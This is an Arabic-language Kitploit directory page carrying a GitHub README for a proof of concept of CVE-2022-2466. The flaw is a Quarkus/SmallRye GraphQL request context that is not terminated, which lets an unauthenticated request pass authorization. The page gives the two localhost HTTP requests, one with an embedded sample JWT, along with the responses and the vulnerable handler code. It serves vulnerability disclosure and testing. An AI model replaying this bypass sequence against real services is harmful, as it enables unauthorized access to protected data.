Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-2466---Request-Context-not-terminated-with-GraphQL — إثبات المفهوم لـ CVE-2022-2466 يوضح إنهاء سياق طلب GraphQL غير المصادق عليه في Quarkus/SmallRye، متجاوزًا فحوصات التفويض. | Kitploit
أدوات/GitHubGitHub/yuxblank/cve-2022-2466---request-context-not-terminated-with-graphql
تحليل الثغرات الأمنيةأمن الويباختبار الاختراقالمصادقةأمن واجهات برمجة التطبيقات
GitHubyuxblank/cve-2022-2466---request-context-not-terminated-with-graphql

CVE-2022-2466---Request-Context-not-terminated-with-GraphQL

إثبات المفهوم لـ CVE-2022-2466 يوضح إنهاء سياق طلب GraphQL غير المصادق عليه في Quarkus/SmallRye، متجاوزًا فحوصات التفويض.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
1منذ 4 سنواتلم تتم المراجعة بعد

CVE-2022-2466 - عدم إنهاء سياق الطلب مع GraphQL

كيفية التشغيل

  1. قم بتشغيل mvn:quarkus:dev
  2. قم بتنفيذ طلبات HTTP التالية

قم بتشغيل هذا مرتين

root@kitploit:~
POST http://localhost:8080/graphql
Content-Type: application/graphql
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJfN3gxcGhILXpKcFpoMVFfaXAtVHRVR3dNTU52OWIyOE9Wcnczc0prU2lrIn0.eyJleHAiOjE2NTg3NTA5NjUsImlhdCI6MTY1ODc1MDY2NSwiYXV0aF90aW1lIjoxNjU4NzUwNjY0LCJqdGkiOiJkNGVhNzA5ZC01YmZkLTRjYTQtYWMzMS05MWVkNTk3YmIwOGUiLCJpc3MiOiJodHRwczovL3BwbmV4dC10ZXN0LmF3cy5yZ2lncm91cC5jb20vYXV0aC9yZWFsbXMvYWNtZXRlc3QiLCJhdWQiOiJhY2NvdW50Iiwic3ViIjoiNWE5MjdjOTctZGViMi00M2Q5LWI3OTgtODFmYjRlMTdkOTgwIiwidHlwIjoiQmVhcmVyIiwiYXpwIjoiY2xpZW50LWxvY2FsIiwibm9uY2UiOiIyZTNjYzljOC02MWI3LTQ1NDYtYmI0YS1iNTY2MTYxZmIxMWEiLCJzZXNzaW9uX3N0YXRlIjoiMWZkMmQ3ZGQtZDJlYS00NzVjLTg4ZDQtYWExZDljYTk5OTcwIiwiYWNyIjoiMSIsImFsbG93ZWQtb3JpZ2lucyI6WyIqIl0sInJlYWxtX2FjY2VzcyI6eyJyb2xlcyI6WyJvZmZsaW5lX2FjY2VzcyIsInVtYV9hdXRob3JpemF0aW9uIiwiZGVmYXVsdC1yb2xlcy1hY21ldGVzdCJdfSwicmVzb3VyY2VfYWNjZXNzIjp7ImFjY291bnQiOnsicm9sZXMiOlsibWFuYWdlLWFjY291bnQiLCJtYW5hZ2UtYWNjb3VudC1saW5rcyIsInZpZXctcHJvZmlsZSJdfX0sInNjb3BlIjoib3BlbmlkIGVtYWlsIHByb2ZpbGUiLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsInJlYWxtIjoiYWNtZXRlc3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJ1c2VyMSJ9.FSGwdLrlx7Y453mefK-wwDPe1LdkaaqNUSxKcsbWoQaZQOjmQcP5Ng8LJyQ7GIlnrziGjeSgA4EZt22Kkyz1s4hJGTkHLTz2i4k3IxPkek0NAhT7xeNVw2qBTxHIofEGJL4ZmAocXE8KzI5VeyWAXbdcYMlC5HIigPoufmFpuMq_7GfaJ5eC2W5L9tFbFYe3GT-xu8lGhuSuo4JN9cweMWRcnV2Wd6aAQepXX6M4x7_QERbWcdedmdmDGgZfMB9uX9ZUBsWXlNvTXhOA5B8oH38fwtde8fbLNPommxC3WakF8F7Z9BjI0pyCeBwk-XVnhZBtdGEd_dqjMvnzaJ7uCw

query {
  exampleQuery
}

قم بتشغيل هذا

root@kitploit:~
POST http://localhost:8080/graphql
Content-Type: application/graphql

query {
  exampleQuery
}

يجب أن يفشل الاستعلام الثاني، لأنه لم يتم تعيين رأس Authorization. تقوم فئة JWTAwareContext برمي استثناء عندما لا توجد رؤوس تفويض.

إذا لم يحدث ذلك، فقط حاول مرة أخرى تشغيل طلب http 1 ثم طلب http 2.

بمجرد حصولك على استجابة الطلب الثاني:

root@kitploit:~
HTTP/1.1 200 OK
content-type: application/graphql+json; charset=UTF-8
content-length: 34

{
  "data": {
    "exampleQuery": "hello!"
  }
}

أدخل إلى SmallRyeGraphQLAbstractHandler في وضع التصحيح وقم بإنهاء السياق في دالة handle.

root@kitploit:~
    @Override
    public void handle(final RoutingContext ctx) {

        if (currentManagedContext.isActive()) { // قم بإنهاء السياق هنا عن طريق التقييم عبر مفتش التصحيح
            handleWithIdentity(ctx);
        } else {

            currentManagedContext.activate();
            ctx.response()
                    .endHandler(currentManagedContextTerminationHandler)
                    .exceptionHandler(currentManagedContextTerminationHandler)
                    .closeHandler(currentManagedContextTerminationHandler);

            try {
                handleWithIdentity(ctx);
            } catch (Throwable t) {
                currentManagedContext.terminate();
                throw t;
            }
        }
    }

بعد الإنهاء، سترجع الاستجابة الإجابة الصحيحة (خطأ نظام)

root@kitploit:~
{
  "errors": [
    {
      "message": "System error",
      "locations": [
        {
          "line": 1,
          "column": 11
        }
      ],
      "path": [
        "exampleQuery"
      ],
      "extensions": {
        "classification": "DataFetchingException"
      }
    }
  ],
  "data": {
    "exampleQuery": null
  }
}

عكس الطلبات

إذا قمت بإعادة التشغيل وعكس ترتيب الطلبات، أي مرتين الطلب 2 ومرة واحدة الطلب 1، ستحصل على الخطأ بدلاً من النجاح للطلب الناجح.

تنزيل الأداة